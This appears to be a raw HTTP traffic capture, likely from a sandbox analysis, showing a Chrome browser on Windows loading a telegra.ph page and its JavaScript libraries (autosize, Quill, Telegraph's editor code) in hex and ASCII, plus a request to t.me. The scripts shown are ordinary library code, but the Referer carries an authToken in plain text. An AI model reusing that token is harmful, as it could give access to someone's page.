n;try{if(e.getSelection)n.start=t.selectionStart,n.end=t.selectionEnd,n.text=t.value.slice(n.start,n.end);else if(r.selection){t.focus();var s=r.selection.createRange(),a=

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:45:44 UTC	599	OUT	GET /js/autosize.min.js HTTP/1.1 Host: telegra.ph Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://telegra.ph/Charlotte-Reeves-03-13?authToken=661de363-1fc1-4007-b38f-852148abf4fc Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 14:45:45 UTC	320	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 13 Mar 2025 14:45:44 GMT Content-Type: application/javascript Content-Length: 3419 Last-Modified: Fri, 18 Nov 2016 12:56:51 GMT Connection: close ETag: "582efa93-d5b" Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Accept-Ranges: bytes
2025-03-13 14:45:45 UTC	3419	IN	Data Raw: 2f 2a 21 0a 09 41 75 74 6f 73 69 7a 65 20 33 2e 30 2e 31 37 0a 09 6c 69 63 65 6e 73 65 3a 20 4d 49 54 0a 09 68 74 74 70 3a 2f 2f 77 77 77 2e 6a 61 63 6b 6c 6d 6f 6f 72 65 2e 63 6f 6d 2f 61 75 74 6f 73 69 7a 65 0a 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 29 64 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6d 6f 64 75 6c 65 22 5d 2c 74 29 3b 65 6c 73 65 20 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 29 74 28 65 78 70 6f 72 74 73 2c 6d 6f 64 75 6c 65 29 3b 65 6c 73 65 7b 76 61 72 20 6e 3d 7b Data Ascii: /!Autosize 3.0.17license: MIThttp://www.jacklmoore.com/autosize/!function(e,t){if("function"==typeof define&&define.amd)define(["exports","module"],t);else if("undefined"!=typeof exports&&"undefined"!=typeof module)t(exports,module);else{var n={

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:45:44 UTC	607	OUT	GET /js/load-image.all.min.js?1 HTTP/1.1 Host: telegra.ph Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://telegra.ph/Charlotte-Reeves-03-13?authToken=661de363-1fc1-4007-b38f-852148abf4fc Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 14:45:45 UTC	322	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 13 Mar 2025 14:45:44 GMT Content-Type: application/javascript Content-Length: 16772 Last-Modified: Tue, 20 Dec 2016 17:17:36 GMT Connection: close ETag: "585967b0-4184" Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Accept-Ranges: bytes
2025-03-13 14:45:45 UTC	16062	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 69 2c 61 29 7b 76 61 72 20 6f 2c 72 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6d 67 22 29 3b 69 66 28 72 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 72 65 74 75 72 6e 20 74 2e 6f 6e 65 72 72 6f 72 28 72 2c 6f 2c 65 2c 69 2c 61 29 7d 2c 72 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 72 65 74 75 72 6e 20 74 2e 6f 6e 6c 6f 61 64 28 72 2c 6f 2c 65 2c 69 2c 61 29 7d 2c 74 2e 69 73 49 6e 73 74 61 6e 63 65 4f 66 28 22 42 6c 6f 62 22 2c 65 29 7c 7c 74 2e 69 73 49 6e 73 74 61 6e 63 65 4f 66 28 22 46 69 6c 65 22 2c 65 29 29 6f 3d 72 2e 5f 6f 62 6a 65 63 74 55 52 4c 3d 74 2e 63 72 Data Ascii: !function(e){"use strict";function t(e,i,a){var o,r=document.createElement("img");if(r.onerror=function(o){return t.onerror(r,o,e,i,a)},r.onload=function(o){return t.onload(r,o,e,i,a)},t.isInstanceOf("Blob",e)\|\|t.isInstanceOf("File",e))o=r._objectURL=t.cr
2025-03-13 14:45:45 UTC	710	IN	Data Raw: 72 65 74 75 72 6e 20 73 3b 72 3d 7b 7d 3b 66 6f 72 28 6e 20 69 6e 20 73 29 73 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 6e 29 26 26 28 72 5b 6e 5d 3d 73 5b 6e 5d 29 3b 73 77 69 74 63 68 28 72 2e 6f 72 69 65 6e 74 61 74 69 6f 6e 3d 6c 2c 6c 29 7b 63 61 73 65 20 32 3a 72 2e 6c 65 66 74 3d 73 2e 72 69 67 68 74 2c 72 2e 72 69 67 68 74 3d 73 2e 6c 65 66 74 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 3a 72 2e 6c 65 66 74 3d 73 2e 72 69 67 68 74 2c 72 2e 74 6f 70 3d 73 2e 62 6f 74 74 6f 6d 2c 72 2e 72 69 67 68 74 3d 73 2e 6c 65 66 74 2c 72 2e 62 6f 74 74 6f 6d 3d 73 2e 74 6f 70 3b 62 72 65 61 6b 3b 63 61 73 65 20 34 3a 72 2e 74 6f 70 3d 73 2e 62 6f 74 74 6f 6d 2c 72 2e 62 6f 74 74 6f 6d 3d 73 2e 74 6f 70 3b 62 72 65 61 6b 3b 63 61 73 65 20 35 3a 72 2e 6c 65 66 Data Ascii: return s;r={};for(n in s)s.hasOwnProperty(n)&&(r[n]=s[n]);switch(r.orientation=l,l){case 2:r.left=s.right,r.right=s.left;break;case 3:r.left=s.right,r.top=s.bottom,r.right=s.left,r.bottom=s.top;break;case 4:r.top=s.bottom,r.bottom=s.top;break;case 5:r.lef

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:45:44 UTC	599	OUT	GET /js/quill.min.js?10 HTTP/1.1 Host: telegra.ph Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://telegra.ph/Charlotte-Reeves-03-13?authToken=661de363-1fc1-4007-b38f-852148abf4fc Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 14:45:45 UTC	324	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 13 Mar 2025 14:45:45 GMT Content-Type: application/javascript Content-Length: 201874 Last-Modified: Fri, 06 Sep 2024 12:45:34 GMT Connection: close ETag: "66daf96e-31492" Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Accept-Ranges: bytes
2025-03-13 14:45:45 UTC	16060	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 51 75 69 6c 6c 3d 65 28 29 3a 74 2e 51 75 69 6c 6c 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 72 29 7b 69 66 28 6e 5b 72 5d 29 72 65 74 75 72 6e 20 Data Ascii: !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports.Quill=e():t.Quill=e()}(this,function(){return function(t){function e(r){if(n[r])return
2025-03-13 14:45:45 UTC	16384	IN	Data Raw: 22 2d 22 29 7d 29 7d 76 61 72 20 6f 3d 74 68 69 73 26 26 74 68 69 73 2e 5f 5f 65 78 74 65 6e 64 73 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 74 7d 66 6f 72 28 76 61 72 20 72 20 69 6e 20 65 29 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 72 29 26 26 28 74 5b 72 5d 3d 65 5b 72 5d 29 3b 74 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 75 6c 6c 3d 3d 3d 65 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 65 29 3a 28 6e 2e 70 72 6f 74 6f 74 79 70 65 3d 65 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 65 77 20 6e 29 7d 2c 69 3d 6e 28 38 29 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 74 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 Data Ascii: "-")})}var o=this&&this.__extends\|\|function(t,e){function n(){this.constructor=t}for(var r in e)e.hasOwnProperty(r)&&(t[r]=e[r]);t.prototype=null===e?Object.create(e):(n.prototype=e.prototype,new n)},i=n(8),l=function(t){function e(){t.apply(this,argument
2025-03-13 14:45:45 UTC	16384	IN	Data Raw: 2c 6e 3d 69 5b 33 5d 2c 61 2e 63 61 6c 6c 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 65 64 69 74 6f 72 2e 64 65 6c 65 74 65 54 65 78 74 28 74 2c 65 29 7d 2c 6e 2c 74 2c 2d 31 2a 65 29 7d 7d 2c 7b 6b 65 79 3a 22 64 69 73 61 62 6c 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 65 6e 61 62 6c 65 28 21 31 29 7d 7d 2c 7b 6b 65 79 3a 22 65 6e 61 62 6c 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 21 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 29 7c 7c 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3b 74 68 69 73 2e 73 63 72 6f 6c 6c 2e 65 6e 61 62 6c 65 28 74 29 2c 74 68 69 73 2e 63 6f 6e 74 61 69 Data Ascii: ,n=i[3],a.call(this,function(){return r.editor.deleteText(t,e)},n,t,-1*e)}},{key:"disable",value:function(){this.enable(!1)}},{key:"enable",value:function(){var t=!(arguments.length>0&&void 0!==arguments[0])\|\|arguments[0];this.scroll.enable(t),this.contai
2025-03-13 14:45:45 UTC	16384	IN	Data Raw: 72 6e 21 31 3b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 74 3d 3d 74 79 70 65 6f 66 20 65 7d 76 61 72 20 6c 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2c 61 3d 6e 28 32 33 29 2c 73 3d 6e 28 32 34 29 2c 75 3d 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 7c 7c 28 6e 3d 7b 7d 29 2c 74 3d 3d 3d 65 7c 7c 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 44 61 74 65 26 26 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 44 61 74 65 3f 74 2e 67 65 74 54 69 6d 65 28 29 3d 3d 3d 65 2e 67 65 74 54 69 6d 65 28 29 3a 21 74 7c 7c 21 65 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 74 26 26 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 65 3f 6e 2e 73 74 72 69 63 74 3f 74 3d 3d 3d 65 3a 74 3d Data Ascii: rn!1;return typeof t==typeof e}var l=Array.prototype.slice,a=n(23),s=n(24),u=t.exports=function(t,e,n){return n\|\|(n={}),t===e\|\|(t instanceof Date&&e instanceof Date?t.getTime()===e.getTime():!t\|\|!e\|\|"object"!=typeof t&&"object"!=typeof e?n.strict?t===e:t=
2025-03-13 14:45:45 UTC	16384	IN	Data Raw: 29 2c 6b 3d 31 2c 45 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 72 65 74 75 72 6e 20 6f 28 74 68 69 73 2c 65 29 2c 69 28 74 68 69 73 2c 28 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 29 29 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 29 7d 72 65 74 75 72 6e 20 6c 28 65 2c 74 29 2c 73 28 65 2c 5b 7b 6b 65 79 3a 22 61 74 74 61 63 68 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 75 28 65 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2e 70 72 6f 74 6f 74 79 70 65 29 2c 22 61 74 74 61 63 68 22 2c 74 68 69 73 29 2e 63 61 6c 6c 28 74 68 69 73 29 Data Ascii: ),k=1,E=function(t){function e(){return o(this,e),i(this,(e.__proto__\|\|Object.getPrototypeOf(e)).apply(this,arguments))}return l(e,t),s(e,[{key:"attach",value:function(){u(e.prototype.__proto__\|\|Object.getPrototypeOf(e.prototype),"attach",this).call(this)
2025-03-13 14:45:46 UTC	16384	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 2c 72 2c 6f 2c 69 29 7b 76 61 72 20 61 3d 6c 3f 6c 2b 74 3a 74 3b 69 66 28 21 74 68 69 73 2e 5f 65 76 65 6e 74 73 5b 61 5d 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 73 2c 75 2c 63 3d 74 68 69 73 2e 5f 65 76 65 6e 74 73 5b 61 5d 2c 66 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 69 66 28 63 2e 66 6e 29 7b 73 77 69 74 63 68 28 63 2e 6f 6e 63 65 26 26 74 68 69 73 2e 72 65 6d 6f 76 65 4c 69 73 74 65 6e 65 72 28 74 2c 63 2e 66 6e 2c 76 6f 69 64 20 30 2c 21 30 29 2c 66 29 7b 63 61 73 65 20 31 3a 72 65 74 75 72 6e 20 63 2e 66 6e 2e 63 61 6c 6c 28 63 2e 63 6f 6e 74 65 78 74 29 2c 21 30 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 20 63 2e 66 6e 2e 63 61 6c 6c 28 63 2e 63 6f 6e 74 65 78 74 2c 65 29 2c 21 30 3b 63 61 Data Ascii: function(t,e,n,r,o,i){var a=l?l+t:t;if(!this._events[a])return!1;var s,u,c=this._events[a],f=arguments.length;if(c.fn){switch(c.once&&this.removeListener(t,c.fn,void 0,!0),f){case 1:return c.fn.call(c.context),!0;case 2:return c.fn.call(c.context,e),!0;ca
2025-03-13 14:45:46 UTC	16384	IN	Data Raw: 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 72 3d 65 5b 6e 5d 3b 72 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 72 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 72 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 72 26 26 28 72 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 72 2e 6b 65 79 2c 72 29 7d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 29 7b 72 65 74 75 72 6e 20 6e 26 26 74 28 65 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 29 2c 72 26 26 74 28 65 2c 72 29 2c 65 7d 7d 28 29 2c 63 3d 66 75 6e 63 74 69 6f 6e 20 6b 28 74 2c 65 2c 6e 29 7b 6e 75 6c 6c 3d 3d 3d 74 26 26 28 74 3d Data Ascii: (t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),c=function k(t,e,n){null===t&&(t=
2025-03-13 14:45:46 UTC	16384	IN	Data Raw: 3d 72 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 6f 3f 76 6f 69 64 20 30 3a 79 28 6f 2c 65 2c 6e 29 7d 69 66 28 22 76 61 6c 75 65 22 69 6e 20 72 29 72 65 74 75 72 6e 20 72 2e 76 61 6c 75 65 3b 76 61 72 20 69 3d 72 2e 67 65 74 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 69 29 72 65 74 75 72 6e 20 69 2e 63 61 6c 6c 28 6e 29 7d 2c 75 3d 6e 28 32 29 2c 63 3d 72 28 75 29 2c 66 3d 7b 73 63 6f 70 65 3a 63 5b 22 64 65 66 61 75 6c 74 22 5d 2e 53 63 6f 70 65 2e 49 4e 4c 49 4e 45 2c 77 68 69 74 65 6c 69 73 74 3a 5b 22 73 65 72 69 66 22 2c 22 6d 6f 6e 6f 73 70 61 63 65 22 5d 7d 2c 70 3d 6e 65 77 20 63 5b 22 64 65 66 61 75 6c 74 22 5d 2e 41 74 74 72 69 62 75 74 6f 72 2e 43 6c Data Ascii: =r){var o=Object.getPrototypeOf(t);return null===o?void 0:y(o,e,n)}if("value"in r)return r.value;var i=r.get;if(void 0!==i)return i.call(n)},u=n(2),c=r(u),f={scope:c["default"].Scope.INLINE,whitelist:["serif","monospace"]},p=new c["default"].Attributor.Cl
2025-03-13 14:45:46 UTC	16384	IN	Data Raw: 6c 65 7c 7c 21 31 2c 72 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 72 26 26 28 72 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 72 2e 6b 65 79 2c 72 29 7d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 29 7b 72 65 74 75 72 6e 20 6e 26 26 74 28 65 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 29 2c 72 26 26 74 28 65 2c 72 29 2c 65 7d 7d 28 29 2c 73 3d 66 75 6e 63 74 69 6f 6e 20 68 28 74 2c 65 2c 6e 29 7b 6e 75 6c 6c 3d 3d 3d 74 26 26 28 74 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 29 3b 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 74 2c 65 29 3b 69 66 28 76 6f Data Ascii: le\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),s=function h(t,e,n){null===t&&(t=Function.prototype);var r=Object.getOwnPropertyDescriptor(t,e);if(vo

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:45:45 UTC	598	OUT	GET /js/core.min.js?67 HTTP/1.1 Host: telegra.ph Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://telegra.ph/Charlotte-Reeves-03-13?authToken=661de363-1fc1-4007-b38f-852148abf4fc Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 14:45:46 UTC	322	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 13 Mar 2025 14:45:45 GMT Content-Type: application/javascript Content-Length: 51742 Last-Modified: Fri, 06 Sep 2024 12:45:34 GMT Connection: close ETag: "66daf96e-ca1e" Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Accept-Ranges: bytes
2025-03-13 14:45:46 UTC	16062	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 5f 63 6c 61 73 73 43 61 6c 6c 43 68 65 63 6b 28 74 2c 65 29 7b 69 66 28 21 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 65 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 70 6f 73 73 69 62 6c 65 43 6f 6e 73 74 72 75 63 74 6f 72 52 65 74 75 72 6e 28 74 2c 65 29 7b 69 66 28 21 74 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 Data Ascii: "use strict";function _classCallCheck(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function _possibleConstructorReturn(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");r
2025-03-13 14:45:46 UTC	16384	IN	Data Raw: 61 76 65 50 61 67 65 28 29 7b 69 66 28 24 74 6c 5f 61 72 74 69 63 6c 65 2e 68 61 73 43 6c 61 73 73 28 22 74 6c 5f 61 72 74 69 63 6c 65 5f 73 61 76 69 6e 67 22 29 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 74 3d 24 28 22 68 31 22 2c 24 74 6c 5f 63 6f 6e 74 65 6e 74 29 2e 74 65 78 74 28 29 2c 65 3d 24 28 22 61 64 64 72 65 73 73 22 2c 24 74 6c 5f 63 6f 6e 74 65 6e 74 29 2e 74 65 78 74 28 29 2c 6f 3d 24 28 22 61 64 64 72 65 73 73 20 61 22 2c 24 74 6c 5f 63 6f 6e 74 65 6e 74 29 2e 61 74 74 72 28 22 68 72 65 66 22 29 7c 7c 22 22 3b 69 66 28 74 2e 6c 65 6e 67 74 68 3c 32 29 7b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 24 74 6c 5f 61 72 74 69 63 6c 65 2e 74 6f 29 2c 24 74 6c 5f 61 72 74 69 63 6c 65 2e 61 64 64 43 6c 61 73 73 28 22 74 69 74 6c 65 5f 72 65 71 75 69 72 Data Ascii: avePage(){if($tl_article.hasClass("tl_article_saving"))return!1;var t=$("h1",$tl_content).text(),e=$("address",$tl_content).text(),o=$("address a",$tl_content).attr("href")\|\|"";if(t.length<2){clearTimeout($tl_article.to),$tl_article.addClass("title_requir
2025-03-13 14:45:46 UTC	16384	IN	Data Raw: 22 4f 4c 22 2c 22 55 4c 22 5d 2c 4c 69 73 74 41 75 74 6f 2e 61 6c 6c 6f 77 65 64 43 68 69 6c 64 72 65 6e 3d 5b 4c 69 73 74 49 74 65 6d 5d 2c 51 75 69 6c 6c 2e 72 65 67 69 73 74 65 72 28 4c 69 73 74 41 75 74 6f 29 3b 76 61 72 20 53 69 6e 67 6c 65 4c 69 6e 65 42 6c 6f 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 72 65 74 75 72 6e 20 5f 63 6c 61 73 73 43 61 6c 6c 43 68 65 63 6b 28 74 68 69 73 2c 65 29 2c 5f 70 6f 73 73 69 62 6c 65 43 6f 6e 73 74 72 75 63 74 6f 72 52 65 74 75 72 6e 28 74 68 69 73 2c 28 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 29 29 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 29 7d 72 65 74 75 72 6e 20 5f 69 6e 68 65 72 Data Ascii: "OL","UL"],ListAuto.allowedChildren=[ListItem],Quill.register(ListAuto);var SingleLineBlot=function(t){function e(){return _classCallCheck(this,e),_possibleConstructorReturn(this,(e.__proto__\|\|Object.getPrototypeOf(e)).apply(this,arguments))}return _inher
2025-03-13 14:45:46 UTC	2912	IN	Data Raw: 61 64 65 72 42 6c 6f 74 2c 6c 2e 69 6e 64 65 78 2c 6c 2e 6c 65 6e 67 74 68 29 3b 72 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 6f 66 66 73 65 74 28 71 75 69 6c 6c 2e 73 63 72 6f 6c 6c 29 2c 6f 3d 74 2e 6c 65 6e 67 74 68 28 29 3b 71 75 69 6c 6c 2e 66 6f 72 6d 61 74 54 65 78 74 28 65 2c 6f 2c 7b 62 6f 6c 64 3a 21 31 2c 69 74 61 6c 69 63 3a 21 31 2c 63 6f 64 65 3a 21 31 7d 2c 51 75 69 6c 6c 2e 73 6f 75 72 63 65 73 2e 53 49 4c 45 4e 54 29 7d 29 2c 71 75 69 6c 6c 2e 75 70 64 61 74 65 53 65 6c 65 63 74 69 6f 6e 28 51 75 69 6c 6c 2e 73 6f 75 72 63 65 73 2e 41 50 49 29 7d 29 2c 24 71 75 6f 74 65 5f 62 75 74 74 6f 6e 2e 63 6c 69 63 6b 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 2c 6f Data Ascii: aderBlot,l.index,l.length);r.forEach(function(t){var e=t.offset(quill.scroll),o=t.length();quill.formatText(e,o,{bold:!1,italic:!1,code:!1},Quill.sources.SILENT)}),quill.updateSelection(Quill.sources.API)}),$quote_button.click(function(t){var e=t.target,o

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:45:45 UTC	600	OUT	GET /_websync_?path=Charlotte-Reeves-03-13&hash=c0cdf245aed7a75c26 HTTP/1.1 Host: t.me Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://telegra.ph/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
